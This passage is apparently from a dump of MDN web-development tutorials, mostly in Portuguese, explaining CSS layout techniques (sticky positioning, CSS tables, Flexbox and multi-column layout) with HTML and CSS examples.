ligula. Curabitur vehicula tellus\n  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat\n  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros\n  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec\n  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.\n</p>\n\n<div class=\"positioned\">Sticky</div>\n\n<p>\n  Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada\n  ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed\n  est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus\n  tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus\n  sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis\n  vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque\n  penatibus et magnis dis parturient montes, nascetur ridiculus mus.\n</p>\n\n<p>\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam\n  dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus\n  ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus\n  laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum,\n  tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus\n  neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat\n  volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros\n  pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec\n  lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.\n</p>\n```\n\n\n```\nbody {\n  width: 500px;\n  margin: 0 auto;\n}\n\n.positioned {\n  background: rgba(255, 84, 104, 0.3);\n  border: 2px solid rgb(255, 84, 104);\n  padding: 10px;\n  margin: 10px;\n  border-radius: 5px;\n}\n```\n\n\n\n```css\n.positioned {\n  position: sticky;\n  top: 30px;\n  left: 30px;\n}\n```\n\n\n**Nota:** to find more out about positioning, see our Positioning (en-US) article.\n\nTable layout\n------------\n\nHTML tables are fine for displaying tabular data, but many years ago — before even basic CSS was supported reliably across browsers — web developers used to also use tables for entire web page layouts — putting their headers, footers, different columns, etc. in various table rows and columns. This worked at the time, but it has many problems — table layouts are inflexible, very heavy on markup, difficult to debug, and semantically wrong (e.g., screen reader users have problems navigating table layouts).\n\nThe way that a table looks on a webpage when you use table markup is due to a set of CSS properties that define table layout. These properties can be used to lay out elements that are not tables, a use which is sometimes described as \"using CSS tables\".\n\nThe example below shows one such use; using CSS tables for layout should be considered a legacy method at this point, for those situations where you have very old browsers without support for Flexbox or Grid.\n\nLet's look at an example. First, some simple markup that creates an HTML form. Each input element has a label, and we've also included a caption inside a paragraph. Each label/input pair is wrapped in a `<div>`, for layout purposes.\n\n\n```html\n<form>\n  <p>First of all, tell us your name and age.</p>\n  <div>\n    <label for=\"fname\">First name:</label>\n    <input type=\"text\" id=\"fname\" />\n  </div>\n  <div>\n    <label for=\"lname\">Last name:</label>\n    <input type=\"text\" id=\"lname\" />\n  </div>\n  <div>\n    <label for=\"age\">Age:</label>\n    <input type=\"text\" id=\"age\" />\n  </div>\n</form>\n```\n\n\nNow, the CSS for our example. Most of the CSS is fairly ordinary, except for the uses of the `display` property. The `<form>` (en-US), `<div>`s, and `<label>`s and `<input>`s have been told to display like a table, table rows, and table cells respectively — basically, they'll act like HTML table markup, causing the labels and inputs to line up nicely by default. All we then have to do is add a bit of sizing, margin, etc. to make everything look a bit nicer and we're done.\n\nYou'll notice that the caption paragraph has been given `display: table-caption;` — which makes it act like a table `<caption>` — and `caption-side: bottom;` to tell the caption to sit on the bottom of the table for styling purposes, even though the markup is before the `<input>` elements in the source. This allows for a nice bit of flexibility.\n\n\n```css\nhtml {\n  font-family: sans-serif;\n}\n\nform {\n  display: table;\n  margin: 0 auto;\n}\n\nform div {\n  display: table-row;\n}\n\nform label,\nform input {\n  display: table-cell;\n  margin-bottom: 10px;\n}\n\nform label {\n  width: 200px;\n  padding-right: 5%;\n  text-align: right;\n}\n\nform input {\n  width: 300px;\n}\n\nform p {\n  display: table-caption;\n  caption-side: bottom;\n  width: 300px;\n  color: #999;\n  font-style: italic;\n}\n```\n\n\nThis gives us the following result:\n\nYou can also see this example live at css-tables-example.html (see the source code too.)\n\nMulti-column layout\n-------------------\n\nThe multi-column layout module gives us a way to lay out content in columns, similar to how text flows in a newspaper. While reading up and down columns is less useful in a web context as you don't want to force users to scroll up and down, arranging content into columns can be a useful technique.\n\nTo turn a block into a multicol container we use either the `column-count` (en-US) property, which tells the browser how many columns we would like to have, or the `column-width` (en-US) property, which tells the browser to fill the container with as many columns of at least that width.\n\nIn the below example we start with a block of HTML inside a containing `<div>` element with a class of `container`.\n\n\n```html\n<div class=\"container\">\n  <h1>Multi-column layout</h1>\n\n  <p>Paragraph 1.</p>\n  <p>Paragraph 2.</p>\n</div>\n```\n\n\nWe are using a `column-width` of 200 pixels on that container, causing the browser to create as many 200-pixel columns as will fit in the container and then share the remaining space between the created columns.\n```\n\n<div class=\"container\">\n  <h1>Multi-column Layout</h1>\n\n  <p>\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n    aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n    pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at\n    ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer\n    ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur\n    vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus.\n    Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus\n    sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus.\n    Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis,\n    eget fermentum sapien.\n  </p>\n\n  <p>\n    Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada\n    ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed\n    est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus\n    tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies\n    lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis\n    vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque\n    penatibus et magnis dis parturient montes, nascetur ridiculus mus.\n  </p>\n</div>\n```\n\n\n```\nbody {\n  max-width: 800px;\n  margin: 0 auto;\n}\n```\n\n\n\n```css\n.container {\n  column-width: 200px;\n}\n```\n\nSummary\n-------\n\nThis article has provided a brief summary of all the layout technologies you should know about. Read on for more information on each individual technology!\n\n* Menu: CSS layout\n* Próxima"}
{"title":"Flexbox - Aprendendo desenvolvimento web","text":"Flexbox\n=======\n\n* Anterior  (en-US)\n* Menu: CSS layout\n* Próxima  (en-US)\n\nUma nova tecnologia, mas com suporte bastante difundido entre navegadores, o Flexbox está se tornando apto para uso geral. Flexbox provê ferramentas para criação rápida de layouts complexos e flexíveis, e características que se mostraram historicamente difíceis com CSS. Este artigo explica todos os seus fundamentos.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n HTML básico (estude\n Introdução a HTML), e uma ideia de como CSS funciona (estude\n Introdução a CSS (en-US).)\n  |\n| Objetivo: | Aprender como usar o sistema de Flexbox layout para criar web layouts. |\n\nPor quê *Flexbox*?\n------------------\n\nPor um longo tempo, as únicas ferramentas compatíveis entre browsers disponíveis para criação de layouts CSS eram coisas como floats (en-US) e posicionamento (en-US). Estas são boas e funcionam, mas em alguns casos também são limitadas e frustrantes.\n\nOs requisitos de layouts a seguir são difíceis ou impossíveis de se conseguir com estas ferramentas, em qualquer tipo conveniente e flexível:\n\n* Centralizar um bloco de conteúdo verticalmente dentro de seu pai.\n* Fazer com que os filhos de um container ocupe uma quantidade igual de largura/altura disponível, independente da quantidade de largura/altura disponível.\n* Fazer todas as colunas de um layout com múltiplas colunas adotem a mesma altura, mesmo que contenham uma quantidade diferente de conteúdo.\n\nComo você verá nas seções subsequentes, *flexbox* faz muitas tarefas de layouts de maneira mais fácil. Vamos nos aprofundar!\n\nIntroduzindo um exemplo simples\n-------------------------------\n\nNeste artigo nós vamos trabalhar uma série de exercícios para ajudá-lo a entender como o flexbox funciona. Para começar, você deve fazer uma cópia local do arquivo inicial — flexbox0.html do nosso repositório no github — carregue-o em um navegador moderno (como Firefox ou Chrome), e abra o arquivo no seu editor de código. Você pode ver a página aqui também.\n\nVocê verá que temos um elemento `<header>` com um cabeçalho no nível superior dentro dele, e um elemento `<section>` contendo três `<article>`s. Nós vamos usá-los para criar um layout padrão de três colunas.\n\n![](/pt-BR/docs/Learn/CSS/CSS_layout/Flexbox/flexbox-example1.png)\n\nEspecificando os elementos a serem definidos como caixas *flex*\n---------------------------------------------------------------\n\nPara iniciar, vamos definir quais elementos serão flexible boxes. Para isto, temos que definir um valor especial de `display` no elemento pai dos elementos que queremos afetar. neste caso são os elementos `<article>`, portanto vamos definir o valor no elemento `<section>` (que se torna um flex container):\n\n\n```css\nsection {\n  display: flex;\n}\n```\n\n\nO resultado disso deve ser algo assim:\n\n![](/pt-BR/docs/Learn/CSS/CSS_layout/Flexbox/flexbox-example2.png)\n\nEntão, esta única declaração nos dá tudo que precisamos — incrivel, certo? Nós temos um layout de múltiplas com tamanhos iguais, e todas as colunas tem a mesma altura. Isto porque o valor padrão dado aos flex items (os filhos do flex container) são configurados para resolver problemas comuns, como este. Voltaremos a este assunto depois.\n\n**Nota:** Você pode definir também ao `display` o valor `inline-flex` se quiser colocar os items em linha como flexible boxes.\n\nUm aparte no modelo *flex*\n--------------------------\n\nQuando os elementos são definidos como flexibles boxes, eles são dispostos ao longo de dois eixos:\n\n![flex_terms.png](/pt-BR/docs/Learn/CSS/CSS_layout/Flexbox/flex_terms.png)\n\n* O ***main axis*** é o eixo que corre na direção em que os flex items estão dispostos (por exemplo, as linhas da página, ou colunas abaixo da página.) O início e o fim do eixo é chamado ***main start*** e ***main end***.\n* O ***cross axis*** é o eixo perpendicular que corre na direção em que os flex items são dispostos. O início e o fim deste eixo são chamados de ***cross start*** e ***cross end***.\n* O elemento pai que possui `display: flex` configurado ( `<section>` em nosso exemplo) é chamado de ***flex container***.\n* Os itens iniciados como flexible boxes dentro do flex container são chamados ***flex items*** (o `<article>` em nosso caso).\n\nTenha esta terminologia em mente à medida que passar para as seções subsequentes. Você pode voltar a esta referência se ficar confuso quanto aos termos usados inicialmente.\n\nColunas ou linhas?\n------------------\n\nFlexbox possui uma propriedade chamada `flex-direction` que especifica a direção do eixo principal (em qual direção os filhos da *flexbox* estarão arranjados) — que por padrão seu valor é `row` (linha), que faz com que eles fiquem arranjados numa linha na direção que o seu navegador está configurado de acordo com a direção de leitura do seu idioma (da esquerda para a direita, no caso do inglês ou português).\n\nExperimente adicionar a seguinte declaração na seção de sua regra:\n\n\n```css\nflex-direction: column;\n```\n\n\nVocê verá que isso organiza os elementos no layout de coluna, assim como eles estavam antes de adicionarmos qualquer regra CSS. Antes de você seguir, remova essa declaração do seu exemplo.\n\n**Nota:** Você também pode arranjar itens flexíveis em direção reversa usando os valores `row-reverse` e `column-reverse`. Experimente usar esses valores no seu exemplo também!\n\nEmbrulhamento\n-------------\n\nUm problema que aparece quando você tem uma quantidade fixa de elementos com a mesma largura e altura no seu esquema é que eventualmente seus elementos filhos *flexbox* irão sobrepor seu elemento pai (*container*), quebrando o layout. Dê uma olhada no nosso exemplo flexbox-wrap0.html, e experimente visualizá-lo online (tenha uma cópia local desse arquivo no seu computador se você quiser continuar acompanhando os exemplos):\n\n![](/pt-BR/docs/Learn/CSS/CSS_layout/Flexbox/flexbox-example3.png)\n\nAqui vemos que os filhos estão de fato saindo fora do elemento recipiente (*container*). Uma maneira de consertar isso é adicionando a seguinte declaração na seção de sua regra CSS:\n\n\n```css\nflex-wrap: wrap;\n```\n\n\nExperimente isso agora; você verá que o layout parece muito melhor agora com essa regra:\n\n![](/pt-BR/docs/Learn/CSS/CSS_layout/Flexbox/flexbox-example4.png)Agora temos várias linhas — tantos elementos filhos *flexbox* estão encaixados em cada linha quantos fazem sentido, e qualquer sobreposição é movida para a próxima linha. A declaração `flex: 200px` configurada nos elementos `<article>` significa que cada um terá pelo menos 200 pixels de largura; discutiremos essa propriedade mais detalhadamente mais tarde. Você também deve notar que os últimos filhos na última linha estão mais largos para que a linha inteira possa ser preenchida.\n\nMas ainda tem mais para fazermos com isso. Primeiro, experimente mudar sua propriedade `flex-direction` para o valor `row-reverse` — agora você verá que ainda tem um layout com várias linhas, mas ele começa no canto oposto da janela do navegador e segue na direção reversa.\n\nForma abreviada: *flex-flow*\n----------------------------\n\nA esta altura vale ressaltar que existe uma abreviação para as regras `flex-direction` e `flex-wrap`: a `flex-flow`. Logo, você pode substituir as seguintes regras\n\n\n```css\nflex-direction: row;\nflex-wrap: wrap;\n```\n\n\npor\n\n\n```css\nflex-flow: row wrap;\n```\n\nDimensionamento flexível de elementos *flex*\n--------------------------------------------\n\nVamos agora voltar ao nosso primeiro exemplo, e ver como podemos controlar qual a proporção de espaço os elementos *flex* pode tomar. Localize sua cópia local do arquivo flexbox0.html, ou tenha uma cópia de flexbox1.html como um novo ponto de partida (veja online).\n\nPrimeiro adicione a seguinte regra no final do seu CSS:\n\n\n```css\narticle {\n  flex: 1;\n}\n```\n\n\nEsse é um valor relativo sem unidade que define quanto de espaço disponível pelo eixo principal cada elemento *flex* pode ter. Neste caso, estamos dando para cada elemento `<article>` o valor de 1, que significa que eles terão uma quantidade igual de espaço restante depois de coisas como preenchimento (`padding`) e margem (`margin`) forem definidos. É uma proporção, o que significa que dado que mesmo que você coloque o valor de \"400000\", para cada elemento *flex*, terá o mesmo efeito que o valor \"1\" previamente colocado.\n\nAgora, adicione a seguinte regra abaixo da última:\n\n\n```css\narticle:nth-of-type(3) {\n  flex: 2;\n}\n```\n\n\nAssim que você atualizar a página, você verá que o terceiro elemento `<article>` ocupa duas vezes mais do espaço disponível que os outros dois — existe agora quatro unidades na proporção total disponível. Os dois primeiros elementos *flex* tem uma unidade cada, dessa proporção, logo cada um deles ocupam 1/4 do espaço disponível. O terceiro tem 2 unidades, logo ele ocupa 2/4 (ou metade, 1/2) do espaço disponível.\n\nVocê também pode especificar um valor de tamanho mínimo para a regra *flex*. Experimente atualizar a regra para o `<article>` existente para que fique assim:\n\n\n```css\narticle {\n  flex: 1 200px;\n}\n\narticle:nth-of-type(3) {\n  flex: 2 200px;\n}\n```\n\n\nIsso basicamente diz o seguinte: \"Para cada elemento *flex* primeiro será dado 200px do espaço disponível. Depois, o restante do espaço disponível será distribuído entre os elementos, de acordo com a unidade de proporção definida.\". Atualize a página e você verá a diferença de como o espaço é distribuído.\n\n![](/pt-BR/docs/Learn/CSS/CSS_layout/Flexbox/flexbox-example1.png)\n\nO valor real de cada caixa *flex* pode ser visto pela sua flexibilidade/responsividade — se você redimensionar a janela do navegador, ou adicionar outro elemento `<article>`, o layout continua funcionando sem quebrar.\n\n*flex*: Forma abreviada ou forma normal?\n----------------------------------------\n\n`flex` é uma propriedade abreviada que pode especificar até três valores diferentes:\n\n* O valor de proporção sem unidade que falamos sobre ele acima. Ele também pode ser especificado individualmente usando a regra `flex-grow` (en-US).\n* Um segundo valor de proporção sem unidade — `flex-shrink` (en-US) — que convém ser usado quando os elementos *flex* estão sobrepondo a elemento recipiente (*container*). Este especifica qual a quantidade será retirada do tamanho de cada elemento *flex*, para que ele não ultrapasse o valor do elemento recipiente (*container*). Esta é uma funcionalidade bem avançada do *flexbox*, e não será abordada neste artigo.\n* O valor mínimo para o tamanho que discutimos acima. Este pode ser especificado individualmente usando a regra `flex-basis` (en-US).\n\nAconselhamos usar sempre a forma abreviada a menos que você precise usar a regra normal (por exemplo para sobrescrever algum valor pré-definido). As regras normais, isto é não abreviadas, geram muito mais código e podem gerar confusão.\n\nAlinhamento Horizontal e Vertical\n---------------------------------\n\nVocê também pode usar as funcionalidade do *flexbox* para alinhar elementos no eixo principal ou no eixo transversal (relembre esse assunto na seção Um aparte no modelo flex). Vamos explorar isso olhando para um outro exemplo — flex-align0.html (veja online) — o qual vamos transformá-lo num botão/barra de ferramentas bem feito e flexível. Neste momento você verá uma barra de menu horizontal, com alguns botões expremidos no canto superior esquerdo:\n\n![](/pt-BR/docs/Learn/CSS/CSS_layout/Flexbox/flexbox-example5.png)\n\nPrimeiro, tenha uma cópia local desse exemplo.\n\nAgora, adicione o seguinte trecho ao final do CSS no arquivo do exemplo:\n\n\n```css\ndiv {\n  display: flex;\n  align-items: center;\n  justify-content: space-around;\n}\n```\n\n\nAtualize a página e você verá que os botões estão agora bem arranjados no centro, horizontalmente e verticalmente. Fizemos isso através de duas novas propriedades.\n\n**Nota:** Nesse exemplo, o eixo principal é representado horizontalmente e o eixo transversal é o vertical.\n\n`align-items` controla onde os elementos *flex* ficam no eixo transversal:\n\n* Por padrão, seu valor é `stretch`, que estica todos os elementos *flex* para preencher o elemento pai na direção do eixo transversal. Se o elemento pai não tem largura fixa na direção do eixo transversal, então todos os elementos *flex* esticarão até o mais comprido dos elementos *flex*. Foi assim que o nosso primeiro exemplo ficou com colunas de mesma altura por padrão.\n* O valor `center` que usamos no exemplo acima, faz com que os elementos mantenham suas dimensões intrínsecas, mas que seja centralizados ao longo do eixo transversal. É por isso que os botões do nosso exemplo atual estão centralizados verticalmente.\n* Você também pode colocar valores como `flex-start` e `flex-end`, os quais alinharão todos os elementos no início ou fim do eixo transversal, respectivamente. Veja `align-items` para maiores detalhes.\n\nVocê pode sobrescrever o comportamento de `align-items` para elementos individuais, usando a regra `align-self` nesses elementos. Por exemplo, experimente adicionar o seguinte trecho no seu CSS:\n\n\n```css\nbutton:first-child {\n  align-self: flex-end;\n}\n```\n\n\nVeja qual efeito isso dá, e remova novamente quando terminar.\n\n`justify-content` (en-US) controla onde os elementos *flex* ficam no eixo principal.\n\n* O valor padrão é `flex-start`, que faz com que todos os elementos estejam no início do eixo principal.\n* Você pode usar `flex-end` para que eles fiquem no final.\n* `center` também é um valor para `justify-content` (en-US), e fará com que os elementos *flex* fiquem no centro do eixo principal.\n* O valor que usamos acima, `space-around`, é útil pois ele distribui todos os elementos igualmente pelo eixo principal, com um pouquinho de espaço no final.\n* Existe um outro valor, `space-between`, o qual é muito similar ao `space-around`, exceto que ele não deixa nenhum espaço no final.\n\nNós sugerimos que você brinque um pouco mais com essas regras e seus valores para ver como funcionam ainda mais, antes de seguir nos estudos.\n\nOrdenação de elementos *flex*\n-----------------------------\n\nO *flexbox* também tem uma funcionalidade para alteração da ordem dos elementos *flex* no layout, sem afetar a ordem no código fonte HTML. Esta é mais uma coisa que é impossível fazer nos métodos tradicionais de esquema de layouts.\n\nO código para fazer isso é bem simples: experimente adicionar o seguinte CSS ao final do código do exemplo da barra de botões:\n\n\n```css\nbutton:first-child {\n  order: 1;\n}\n```\n\n\nAtualize seu navegador, você verá que o botão \"*Smile*\" foi movido para o final do eixo principal. Vamos falar sobre como isso funciona com mais detalhes:\n\n* Por padrão, todos os elementos *flex* possuem uma propriedade `order` (en-US) com valor 0 (zero).\n* Elementos *flex* com valores maiores de `order` (en-US), aparecerão depois na tela, do que elementos com valores menores, os quais aparecem antes.\n* Elementos *flex* com o mesmo valor aparecerão de acordo com a ordem que possuem no documento HTML. Logo, se você tiver quatro elementos com os seguintes valores para `order` (en-US): 2, 1, 1 e 0, eles aparecerão na tela na seguinte ordem: 4º, 2º, 3º e 1º elemento, respectivamente.\n* O 3º elemento aparece depois do 2º pois ele tem o mesmo valor para `order` (en-US) mas está definido depois no documento fonte.\n\nVocê também pode usar valores negativos para fazer elementos aparecerem antes do(s) elemento(s) definidos com `order` (en-US) 0 (zero). Por exemplo, Você poderia fazer com que o botão \"*Blush*\" aparecesse no começo do eixo principal (horizontal), usando a seguinte regra:\n\n\n```css\nbutton:last-child {\n  order: -1;\n}\n```\n\nElementos *flex* aninhados\n--------------------------\n\nÉ possível criar layouts bem complexos com *flexbox*. É perfeitamente aceitável configurar um elemento *flex* para também ser um *container*, para que seus filhos também se comportem como caixas *flex*. Dê uma olhada em complex-flexbox.html (veja também online).\n\n![](/pt-BR/docs/Learn/CSS/CSS_layout/Flexbox/flexbox-example7.png)\n\nO HTML desse exemplo é relativamente simples. Temos um elemento `<section>` contendo três `<article>`. O terceiro desses `<article>` contém três elementos `<div>`:\n```\n\nsection - article\n          article\n          article - div - button\n                    div   button\n                    div   button\n                          button\n                          button\n```\n\n\nVamos dar uma olhada no código que usamos no layout.\n\nPrimeiro, configuramos para que os filhos da `<section>` se arranjem como elementos *flex*.\n\n\n```css\nsection {\n  display: flex;\n}\n```\n\n\nEm seguida, configuramos alguns valores *flex* nos próprios elementos `<article>`. Veja especialmente a segunda regra aqui — estamos configurando para que o terceiro `<article>` tenha seus filhos arranjados como elementos *flex* também, mas desta vez eles estarão dispostos em coluna.\n\n\n```css\narticle {\n  flex: 1 200px;\n}\n\narticle:nth-of-type(3) {\n  flex: 3 200px;\n  display: flex;\n  flex-flow: column;\n}\n```\n\n\nDepois, selecionamos o primeiro elemento `<div>`. Primeiro usamos `flex:1 100px;` para efetivamente dar a ele a altura de 100px, depois configuramos para que seus filhos (os elementos `<button>`) se arranjem como elementos *flex*. Aqui, nós os arranjamos em uma linha que os envolvem, e os alinhamos no centro do espaço disponível, como fizemos no exemplo do botão individual que vimos anteriormente:\n\n\n```css\narticle:nth-of-type(3) div:first-child {\n  flex: 1 100px;\n  display: flex;\n  flex-flow: row wrap;\n  align-items: center;\n  justify-content: space-around;\n}\n```\n\n\nFinalmente, configuramos alguns tamanhos no botão, mas o mais interessante é que demos a ele o valor 1 para a propriedade *flex*. Isso dá um resultado interessante, que você verá se redimensionar a largura da janela do seu navegador. Esses botões tomarão o máximo de espaço que puderem e ficarão ao máximo na mesma linha, se puderem, mas quando não puderem mais caber na mesma linha, os que estão muito apertados irão para novas linhas de forma que o layout não quebre e o conteúdo ainda esteja legível ao usuário.\n\n\n```css\nbutton {\n  flex: 1;\n  margin: 5px;\n  font-size: 18px;\n  line-height: 1.5;\n}\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\n O suporte a f*lexbox* está disponível nos navegadores mais novos — Firefox, Chrome, Opera, Microsoft Edge e IE 11, nas versões mais novas do Android e iOS, etc.\n Contudo você deve estar ciente que ainda existem navegadores antigos em uso que não suportam a regra *flexbox* (ou até suportam, mas numa versão desatualizada).\n\nEnquanto você está apenas aprendendo ou testando, a compatibilidade entre navegadores não importa muito; no entanto se você pretende usar o *flexbox* num site de verdade, você precisa fazer testes e certificar que a experiência do usuário é aceitável em qualquer navegador possível.\n\n*Flexbox* é um pouco mais ardiloso que algumas propriedades CSS. Por exemplo, se o suporte a sombras de CSS falta num browser, é muito menos provável de comprometer a usabilidade, afinal apenas as sombras dos elementos que não estarão aparecendo. Contudo, a falta de suporte à propriedade *flexbox* pode quebrar o layout do seu site, e comprometer a sua usabilidade.\n\nIremos discutir estratégias para contornar problemas complicados de compatibilidade entre navegadores num módulo futuro.\n\nSumário\n-------\n\n Isso conclui nosso tour sobre o básico de *flexbox*. Esperamos que você tenha aproveitado, e que você continue aproveitando enquanto avança com seu aprendizado.\n No próximo tópico, veremos outro aspecto importante dos Esquemas em CSS: os sistemas de *grid,* como você pode ver nesse artigo sobre CSS grid layout.\n\n* Anterior  (en-US)\n* Menu: CSS layout\n* Próxima  (en-US)"}
{"title":"Layout de varias colunas - Aprendendo desenvolvimento web","text":"Layout de varias colunas\n========================\n\n* Anterior  (en-US)\n* Menu: CSS layout\n* Próxima\n\nA especificação de layout de várias colunas fornece um método de disposição do conteúdo em colunas, como você pode ver em um jornal. Este artigo explica como usar esse recurso.\n\n|  |  |\n| --- | --- |\n| Pré requisitos: | \n HTML basico (estude\n Introduction to HTML) e uma ideia de como CSS funciona (estude\n Introduction to CSS (en-US)).\n  |\n| Objetivo: | \n Aprender como criar layouts de várias colunas em paginas web, tal qual\n estão formatadas as paginas de um jornal.\n  |\n\nUm exemplo basico\n-----------------\n\nAgora nós vamos explorar como usar layouts de varias colunas, frequentemente referido como *multicol*. Você pode começar pelo download do arquivo multicol - ponto de partida, e adicionar o CSS nos locais apropriados. Na parte inferior desta seção, você pode ver um exemplo real da aparência do código final.\n\nNosso ponto de partida contem um HTML simples; um invólucro com uma classe de `container` dentro do qual há um cabeçalho e alguns parágrafos.\n\nO `<div>` com a classe de container se tornará nosso *muticol* container. Nós ativamos o *multicol* usando uma de duas propriedades `column-count` (en-US) ou `column-width` (en-US). A propriedade `column-count` criará tantas colunas quanto o valor que você atribuir; portanto, se voce adicionar o seguinte CSS à sua *stylesheet* e recarregar a pagina, você obterá três colunas:\n\n\n```css\n.container {\n  column-count: 3;\n}\n```\n\n\nAs colunas que você criar têm larguras flexíveis - o navegador calcula quanto espaço será atribuido a cada coluna.\n```\n\nbody {\n  width: 90%;\n  max-width: 900px;\n  margin: 2em auto;\n  font:\n    0.9em/1.2 Arial,\n    Helvetica,\n    sans-serif;\n}\n```\n\n\n\n```html\n<div class=\"container\">\n  <h1>Simple multicol example</h1>\n\n  <p>\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n    aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n    pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at\n    ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer\n    ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur\n    vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus.\n    Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus\n    sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus.\n    Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis,\n    eget fermentum sapien.\n  </p>\n\n  <p>\n    Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada\n    ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed\n    est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus\n    tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies\n    lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis\n    vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque\n    penatibus et magnis dis parturient montes, nascetur ridiculus mus.\n  </p>\n</div>\n```\n\n\n\n```css\n.container {\n  column-count: 3;\n}\n```\n\n\nMude o seu CSS para usar `column-width`, como a seguir:\n\n\n```css\n.container {\n  column-width: 200px;\n}\n```\n\n\nO navegador agora fornecerá o maior número possível de colunas, do tamanho que você especificar; qualquer espaço restante é compartilhado entre as colunas existentes. Isso significa que você não terá exatamente a largura que especificar, a menos que seu container seja exatamente divisível por essa largura.\n```\n\nbody {\n  width: 90%;\n  max-width: 900px;\n  margin: 2em auto;\n  font:\n    0.9em/1.2 Arial,\n    Helvetica,\n    sans-serif;\n}\n```\n\n\n```\n<div class=\"container\">\n  <h1>Simple multicol example</h1>\n\n  <p>\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n    aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n    pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at\n    ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer\n    ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur\n    vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus.\n    Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus\n    sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus.\n    Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis,\n    eget fermentum sapien.\n  </p>\n\n  <p>\n    Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada\n    ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed\n    est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus\n    tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies\n    lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis\n    vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque\n    penatibus et magnis dis parturient montes, nascetur ridiculus mus.\n  </p>\n</div>\n```\n\n\n\n```css\n.container {\n  column-width: 200px;\n}\n```\n\nStyling the columns\n-------------------\n\nThe columns created by multicol cannot be styled individually. There is no way to make one column bigger than other columns, or to change the background or text color of a single column. You have two opportunities to change the way that columns display:\n\n* Changing the size of the gap between columns using the `column-gap` (en-US).\n* Adding a rule between columns with `column-rule` (en-US).\n\nUsing your example above, change the size of the gap by adding a `column-gap` property:\n\n\n```css\n.container {\n  column-width: 200px;\n  column-gap: 20px;\n}\n```\n\n\nYou can play around with different values — the property accepts any length unit. Now add a rule between the columns, with `column-rule`. In a similar way to the `border` (en-US) property that you encountered in previous lessons, `column-rule` is a shorthand for `column-rule-color` (en-US), `column-rule-style` (en-US), and `column-rule-width` (en-US), and accepts the same values as `border`.\n\n\n```css\n.container {\n  column-count: 3;\n  column-gap: 20px;\n  column-rule: 4px dotted rgb(79, 185, 227);\n}\n```\n\n\nTry adding rules of different styles and colors.\n```\n\nbody {\n  width: 90%;\n  max-width: 900px;\n  margin: 2em auto;\n  font:\n    0.9em/1.2 Arial,\n    Helvetica,\n    sans-serif;\n}\n.container {\n  column-count: 3;\n  column-gap: 20px;\n  column-rule: 4px dotted rgb(79, 185, 227);\n}\n```\n\n\n```\n<div class=\"container\">\n  <h1>Simple multicol example</h1>\n\n  <p>\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n    aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n    